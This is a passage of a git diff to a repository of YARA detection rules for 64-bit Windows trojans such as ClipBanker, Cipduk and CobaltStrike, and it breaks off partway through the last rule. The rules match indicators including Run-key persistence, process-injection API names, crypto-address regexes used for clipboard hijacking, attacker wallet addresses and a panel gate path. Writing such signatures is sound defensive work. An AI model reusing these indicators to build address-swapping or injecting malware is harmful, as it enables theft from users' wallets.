b/Trojan/Win64/CerbuCrypt/Trojan_Win64_CerbuCrypt_SV_MTB.yar deleted file mode 100644 index 6b8b171e46..0000000000 --- a/Trojan/Win64/CerbuCrypt/Trojan_Win64_CerbuCrypt_SV_MTB.yar +++ /dev/null @@ -1,16 +0,0 @@ - -rule Trojan_Win64_CerbuCrypt_SV_MTB{ - meta: - description = "Trojan:Win64/CerbuCrypt.SV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " - - strings : - $a_01_0 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //1 Software\Microsoft\Windows\CurrentVersion\Run - $a_01_1 = {57 69 6e 64 6f 77 73 20 53 65 63 75 72 69 74 79 } //1 Windows Security - $a_01_2 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 } //1 C:\Windows\System32\svchost.exe - $a_01_3 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 } //1 WriteProcessMemory - $a_01_4 = {52 65 73 75 6d 65 54 68 72 65 61 64 } //1 ResumeThread - $a_01_5 = {51 75 65 75 65 55 73 65 72 41 50 43 } //1 QueueUserAPC - condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 - -} \ No newline at end of file diff --git a/Trojan/Win64/Cipduk/Trojan_Win64_Cipduk_STA.yar b/Trojan/Win64/Cipduk/Trojan_Win64_Cipduk_STA.yar new file mode 100644 index 0000000000..74e4aa7db2 --- /dev/null +++ b/Trojan/Win64/Cipduk/Trojan_Win64_Cipduk_STA.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win64_Cipduk_STA{ + meta: + description = "Trojan:Win64/Cipduk.STA,SIGNATURE_TYPE_PEHSTR_EXT,69 00 69 00 08 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //100 + $a_03_1 = {52 00 45 00 c7 [0-03] 4e 00 54 00 c7 [0-03] 5f 00 4e 00 c7 [0-03] 41 00 4d 00 c7 [0-03] 45 00 00 00 } //2 + $a_03_2 = {41 00 4e 00 c7 [0-03] 44 00 5f 00 c7 [0-03] 4c 00 49 00 c7 [0-03] 4e 00 45 00 } //2 + $a_03_3 = {6e 74 64 6c 66 c7 [0-03] 6c 00 } //2 + $a_01_4 = {54 b8 b9 1a } //1 + $a_01_5 = {78 1f 20 7f } //1 ὸ缠 + $a_01_6 = {62 34 89 5e } //1 + $a_01_7 = {73 80 48 06 } //1 + condition: + ((#a_01_0 & 1)*100+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2+(#a_03_3 & 1)*2+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=105 + +} \ No newline at end of file diff --git a/Trojan/Win64/Cipduk/Trojan_Win64_Cipduk_STB.yar b/Trojan/Win64/Cipduk/Trojan_Win64_Cipduk_STB.yar new file mode 100644 index 0000000000..deb23495b8 --- /dev/null +++ b/Trojan/Win64/Cipduk/Trojan_Win64_Cipduk_STB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_Cipduk_STB{ + meta: + description = "Trojan:Win64/Cipduk.STB,SIGNATURE_TYPE_PEHSTR_EXT,69 00 69 00 07 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //100 + $a_03_1 = {52 00 45 00 c7 [0-03] 4e 00 54 00 c7 [0-03] 5f 00 4e 00 c7 [0-03] 41 00 4d 00 c7 [0-03] 45 00 00 00 } //2 + $a_03_2 = {41 00 4e 00 c7 [0-03] 44 00 5f 00 c7 [0-03] 4c 00 49 00 c7 [0-03] 4e 00 45 00 } //2 + $a_03_3 = {6e 74 64 6c 66 c7 [0-03] 6c 00 } //1 + $a_01_4 = {54 b8 b9 1a } //1 + $a_01_5 = {78 1f 20 7f } //1 ὸ缠 + $a_01_6 = {62 34 89 5e } //1 + condition: + ((#a_01_0 & 1)*100+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=105 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClassCuts/Trojan_Win64_ClassCuts_D_dha.yar b/Trojan/Win64/ClassCuts/Trojan_Win64_ClassCuts_D_dha.yar new file mode 100644 index 0000000000..1aa89478c2 --- /dev/null +++ b/Trojan/Win64/ClassCuts/Trojan_Win64_ClassCuts_D_dha.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_ClassCuts_D_dha{ + meta: + description = "Trojan:Win64/ClassCuts.D!dha,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {64 65 6c 6b 69 6c 6c 20 2f 46 20 2f 49 4d 20 65 78 70 6c 45 4e 54 5f 55 53 45 52 5c 53 6f 66 74 77 61 72 } //1 delkill /F /IM explENT_USER\Softwar + $a_01_1 = {5b 2b 5d 20 53 68 6f 72 74 54 69 6d 65 72 20 61 6e 64 20 46 61 69 6c 43 6f 75 6e 74 65 72 20 63 68 61 6e 67 65 64 2e } //1 [+] ShortTimer and FailCounter changed. + $a_01_2 = {5b 2b 5d 20 45 6e 64 70 6f 69 6e 74 20 63 68 61 6e 67 65 64 } //1 [+] Endpoint changed + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_ACL_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_ACL_MTB.yar new file mode 100644 index 0000000000..e041664b6e --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_ACL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_ClipBanker_ACL_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.ACL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {48 8b 4c 24 38 48 8d 44 24 30 48 8d 15 06 9d 01 00 44 8b cb 45 33 c0 89 5c 24 28 48 89 44 24 20 ff 15 ?? ?? ?? ?? 48 8b 4c 24 38 ff 15 ?? ?? ?? ?? b9 50 c3 00 00 ff 15 } //3 + $a_03_1 = {40 53 48 83 ec 40 4c 8d 05 33 9d 01 00 ba 01 00 00 00 33 c9 ff 15 ?? ?? ?? ?? 48 8b d8 48 85 c0 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_C_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_C_MTB.yar index 54b5b2084e..391f7b940f 100644 --- a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_C_MTB.yar +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_C_MTB.yar @@ -9,4 +9,16 @@ rule Trojan_Win64_ClipBanker_C_MTB{ condition: ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 +} +rule Trojan_Win64_ClipBanker_C_MTB_2{ + meta: + description = "Trojan:Win64/ClipBanker.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_03_0 = {33 c9 ff 15 ?? ?? ?? ?? 85 c0 0f 84 ?? ?? ?? ?? b9 01 00 00 00 ff 15 ?? ?? ?? ?? 48 8b d8 48 85 c0 0f 84 ?? ?? ?? ?? 48 8b c8 ff 15 ?? ?? ?? ?? 48 85 c0 0f 84 } //3 + $a_01_1 = {30 78 35 38 31 41 36 46 38 38 66 38 37 35 32 32 63 36 39 36 36 32 43 37 35 65 37 36 32 35 33 66 30 36 30 43 35 30 62 31 39 38 } //3 0x581A6F88f87522c69662C75e76253f060C50b198 + $a_01_2 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //2 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2) >=8 + } \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_GVA_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_GVA_MTB.yar new file mode 100644 index 0000000000..d1b9099097 --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_GVA_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win64_ClipBanker_GVA_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1d 00 1d 00 0d 00 00 " + + strings : + $a_01_0 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //20 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + $a_01_1 = {66 6d 74 5f 62 69 74 63 6f 69 6e } //3 fmt_bitcoin + $a_01_2 = {66 6d 74 5f 65 74 68 65 72 65 75 6d } //3 fmt_ethereum + $a_01_3 = {66 6d 74 5f 74 72 6f 6e } //3 fmt_tron + $a_01_4 = {66 6d 74 5f 6d 6f 6e 65 72 6f } //3 fmt_monero + $a_01_5 = {66 6d 74 5f 72 69 70 70 6c 65 } //3 fmt_ripple + $a_01_6 = {66 6d 74 5f 63 61 72 64 61 6e 6f } //3 fmt_cardano + $a_01_7 = {66 6d 74 5f 6c 69 74 65 63 6f 69 6e } //3 fmt_litecoin + $a_01_8 = {66 6d 74 5f 64 6f 67 65 63 6f 69 6e } //3 fmt_dogecoin + $a_01_9 = {66 6d 74 5f 73 6f 6c 61 6e 61 } //3 fmt_solana + $a_01_10 = {66 6d 74 5f 63 6f 73 6d 6f 73 } //3 fmt_cosmos + $a_01_11 = {66 6d 74 5f 74 65 72 72 61 } //3 fmt_terra + $a_01_12 = {66 6d 74 5f 70 6f 6c 6b 61 64 6f 74 } //3 fmt_polkadot + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*3+(#a_01_2 & 1)*3+(#a_01_3 & 1)*3+(#a_01_4 & 1)*3+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_01_7 & 1)*3+(#a_01_8 & 1)*3+(#a_01_9 & 1)*3+(#a_01_10 & 1)*3+(#a_01_11 & 1)*3+(#a_01_12 & 1)*3) >=29 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_GVC_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_GVC_MTB.yar new file mode 100644 index 0000000000..4e2043f31e --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_GVC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_ClipBanker_GVC_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {33 c9 ff 15 89 39 02 00 85 c0 0f 84 25 03 00 00 b9 01 00 00 00 ff 15 7e 39 02 00 48 8b d8 48 85 c0 0f 84 07 03 00 00 48 8b c8 ff 15 21 36 02 00 48 85 c0 0f 84 f5 02 00 00 } //2 + $a_01_1 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJA_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJA_MTB.yar new file mode 100644 index 0000000000..09cb468bf1 --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJA_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win64_ClipBanker_NJA_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.NJA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 00 " + + strings : + $a_81_0 = {44 69 61 6d 6f 74 72 69 78 } //2 Diamotrix + $a_81_1 = {54 57 62 41 6b 58 71 32 53 75 70 59 55 36 75 6d 45 56 4d 76 78 57 68 41 41 37 74 38 4c 79 4c 57 4a 44 } //1 TWbAkXq2SupYU6umEVMvxWhAA7t8LyLWJD + $a_81_2 = {30 78 32 32 39 31 64 36 30 35 66 36 66 64 33 65 37 65 33 39 37 34 64 37 35 66 37 63 31 63 65 66 33 36 61 61 38 65 38 65 33 61 } //1 0x2291d605f6fd3e7e3974d75f7c1cef36aa8e8e3a + $a_81_3 = {5c 62 34 5b 30 2d 39 41 42 5d 5b 31 2d 39 41 2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 39 33 7d 5c 62 } //1 \b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b + $a_81_4 = {5c 62 62 69 74 63 6f 69 6e 63 61 73 68 3a 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 36 2c 34 32 7d 5c 62 } //1 \bbitcoincash:[a-zA-HJ-NP-Z0-9]{26,42}\b + $a_81_5 = {31 48 32 37 63 33 77 5a 7a 53 65 62 48 43 59 56 68 66 6a 79 34 33 33 34 6a 46 64 79 4d 35 6b 48 73 42 } //1 1H27c3wZzSebHCYVhfjy4334jFdyM5kHsB + $a_81_6 = {47 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 } //1 GetClipboardData + $a_81_7 = {53 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 } //1 SetClipboardData + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJB_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJB_MTB.yar new file mode 100644 index 0000000000..a980e344c4 --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_ClipBanker_NJB_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.NJB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {44 69 61 6d 6f 74 72 69 78 } //2 Diamotrix + $a_81_1 = {62 62 69 74 63 6f 69 6e 63 61 73 68 } //1 bbitcoincash + $a_03_2 = {4c 8b c3 33 d2 48 8b c6 48 f7 77 ?? 42 8a 04 0a 32 04 31 41 88 04 30 48 ff c6 48 3b 74 24 } //1 + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_03_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJC_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJC_MTB.yar new file mode 100644 index 0000000000..ddea585ab0 --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_NJC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_ClipBanker_NJC_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.NJC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_81_0 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //2 Software\Microsoft\Windows\CurrentVersion\Run + $a_81_1 = {5c 62 62 69 74 63 6f 69 6e 63 61 73 68 3a 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 36 2c 34 32 7d 5c 62 } //1 \bbitcoincash:[a-zA-HJ-NP-Z0-9]{26,42}\b + $a_81_2 = {47 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 } //1 GetClipboardData + $a_81_3 = {53 65 74 43 6c 69 70 62 6f 61 72 64 44 61 74 61 } //1 SetClipboardData + $a_81_4 = {5c 62 34 5b 30 2d 39 41 42 5d 5b 31 2d 39 41 2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 39 33 7d 5c 62 } //1 \b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_SX_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_SX_MTB.yar new file mode 100644 index 0000000000..62497dc211 --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_SX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_ClipBanker_SX_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 03 00 00 " + + strings : + $a_03_0 = {ba 01 00 00 00 33 c9 ff 15 ?? ?? ?? ?? 48 8b d8 48 85 c0 74 ?? ff 15 ?? ?? ?? ?? 3d b7 00 00 00 75 ?? 48 8b cb } //10 + $a_03_1 = {b9 01 00 00 00 ff 15 ?? ?? ?? ?? 48 8b f8 48 85 c0 74 ?? 48 8b c8 ff 15 ?? ?? ?? ?? 48 85 c0 74 0c 48 8b cf 48 8b f0 ff 15 } //10 + $a_01_2 = {64 72 76 6f 70 74 69 6d 63 78 73 71 } //5 drvoptimcxsq + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10+(#a_01_2 & 1)*5) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_WQ_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_WQ_MTB.yar new file mode 100644 index 0000000000..063df434be --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_ClipBanker_WQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_ClipBanker_WQ_MTB{ + meta: + description = "Trojan:Win64/ClipBanker.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {2f 70 61 6e 65 6c 2f 67 61 74 65 2e 70 68 70 } //1 /panel/gate.php + $a_01_1 = {4d 6f 6e 69 74 6f 72 69 6e 67 20 63 6c 69 70 62 6f 61 72 64 20 66 6f 72 20 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 20 61 64 64 72 65 73 73 65 73 } //1 Monitoring clipboard for cryptocurrency addresses + $a_81_2 = {77 61 6c 6c 65 74 2e 20 52 65 70 6c 61 63 69 6e 67 20 } //1 wallet. Replacing + $a_81_3 = {5b 49 4e 46 4f 5d 20 74 6f 72 2e 65 78 65 20 66 6f 75 6e 64 2c 20 73 6b 69 70 70 69 6e 67 20 64 6f 77 6e 6c 6f 61 64 } //1 [INFO] tor.exe found, skipping download + condition: + ((#a_81_0 & 1)*1+(#a_01_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/ClipBanker/Trojan_Win64_Clipbanker_AHC_MTB.yar b/Trojan/Win64/ClipBanker/Trojan_Win64_Clipbanker_AHC_MTB.yar new file mode 100644 index 0000000000..fcb40839f7 --- /dev/null +++ b/Trojan/Win64/ClipBanker/Trojan_Win64_Clipbanker_AHC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Clipbanker_AHC_MTB{ + meta: + description = "Trojan:Win64/Clipbanker.AHC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {48 8b 85 90 01 00 00 48 63 48 04 8b c7 48 83 bc 0d d8 01 00 00 00 41 0f 45 c7 0b 84 0d a0 01 00 00 83 e0 15 83 c8 02 89 84 0d a0 01 00 00 23 84 0d a4 01 00 00 0f 85 } //5 + $a_03_1 = {8b 45 d0 ff c0 89 44 24 28 48 89 4c 24 20 41 b9 01 00 00 00 45 33 c0 48 8d 15 ?? ?? ?? ?? 48 8b 4c 24 50 ff 15 } //3 + $a_01_2 = {63 6f 73 6d 6f 73 31 64 65 70 6b 35 34 63 75 61 6a 67 6b 7a 65 61 36 7a 70 67 6b 71 33 36 74 6e 6a 77 64 7a 76 34 61 66 63 33 64 32 37 } //2 cosmos1depk54cuajgkzea6zpgkq36tnjwdzv4afc3d27 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*3+(#a_01_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobalStrike/Trojan_Win64_CobalStrike_ARAX_MTB.yar b/Trojan/Win64/CobalStrike/Trojan_Win64_CobalStrike_ARAX_MTB.yar new file mode 100644 index 0000000000..a9da79f7f1 --- /dev/null +++ b/Trojan/Win64/CobalStrike/Trojan_Win64_CobalStrike_ARAX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobalStrike_ARAX_MTB{ + meta: + description = "Trojan:Win64/CobalStrike.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {41 32 ca 44 8b 54 24 30 41 ff c2 41 88 09 49 ff c1 44 89 54 24 30 4c 89 4c 24 28 41 8d 04 32 3b c3 0f 8c 79 fc ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_AA_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_AA_MTB.yar index e31cd5f7b2..beb707d01d 100644 --- a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_AA_MTB.yar +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_AA_MTB.yar @@ -8,16 +8,4 @@ rule Trojan_Win64_CobaltStrike_AA_MTB{ condition: ((#a_03_0 & 1)*1) >=1 -} -rule Trojan_Win64_CobaltStrike_AA_MTB_2{ - meta: - description = "Trojan:Win64/CobaltStrike.AA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " - - strings : - $a_01_0 = {47 6f 20 62 75 69 6c 64 20 49 44 3a } //1 Go build ID: - $a_01_1 = {55 44 52 62 6f 74 54 4f 4d 74 6b 75 66 37 54 54 4a 51 50 69 53 56 6a 64 52 5a 71 55 6d 69 31 6f 47 65 35 66 55 73 32 68 4c 77 77 3d } //1 UDRbotTOMtkuf7TTJQPiSVjdRZqUmi1oGe5fUs2hLww= - $a_01_2 = {65 47 37 52 58 5a 48 64 71 4f 4a 31 69 2b 30 6c 67 4c 67 43 70 53 58 41 70 36 4d 33 4c 59 6c 41 6f 36 6f 73 67 53 69 30 78 4f 4d 3d } //1 eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= - condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 - } \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_AQD_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_AQD_MTB.yar new file mode 100644 index 0000000000..efade2d3db --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_AQD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_AQD_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.AQD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {03 c1 99 81 e2 ff 00 00 00 03 c2 25 ff 00 00 00 2b c2 89 44 24 10 8b 44 24 0c 48 63 4c 24 10 0f b6 4c 0c 20 48 8b 94 24 30 02 00 00 0f b6 04 02 33 c1 8b 4c 24 0c 48 8b 94 24 30 02 00 00 88 04 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_CCGY_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_CCGY_MTB.yar deleted file mode 100644 index 02bf2d8745..0000000000 --- a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_CCGY_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_Win64_CobaltStrike_CCGY_MTB{ - meta: - description = "Trojan:Win64/CobaltStrike.CCGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_03_0 = {48 63 54 81 ?? 81 74 95 ?? ?? ?? ?? ?? 48 63 14 81 81 74 95 ?? ?? ?? ?? ?? 48 83 c0 ?? 48 83 f8 } //1 - condition: - ((#a_03_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_CCJX_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_CCJX_MTB.yar new file mode 100644 index 0000000000..a5e8d42ae2 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_CCJX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_CCJX_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {48 f7 f1 48 8b c2 0f b6 c8 8b 44 24 ?? d3 e8 8b 4c 24 ?? 33 c8 8b c1 8b 4c 24 ?? 81 e1 ?? ?? ?? ?? 33 c1 25 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_C_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_C_MTB.yar index 251f5f1ea4..b4e3add7df 100644 --- a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_C_MTB.yar +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_C_MTB.yar @@ -8,4 +8,15 @@ rule Trojan_Win64_CobaltStrike_C_MTB{ condition: ((#a_03_0 & 1)*1) >=1 +} +rule Trojan_Win64_CobaltStrike_C_MTB_2{ + meta: + description = "Trojan:Win64/CobaltStrike.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {48 8d 55 fc 48 8d 05 8d 1b 00 00 49 89 d1 41 b8 40 00 00 00 ba 4e 88 05 00 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 } //3 + $a_01_1 = {48 83 ec 30 48 89 4d 10 48 8b 45 10 48 89 45 f8 48 8b 45 f8 ff d0 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + } \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_ELM_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_ELM_MTB.yar new file mode 100644 index 0000000000..ca232bb298 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_ELM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_ELM_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.ELM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 8b 44 24 08 44 8a 0c 01 48 8b 44 24 08 44 32 0c 02 45 0f b6 c9 44 0b 4c 24 04 4c 8b 54 24 08 49 83 c2 01 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FIZ_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FIZ_MTB.yar new file mode 100644 index 0000000000..045ce9202a --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FIZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_FIZ_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.FIZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + 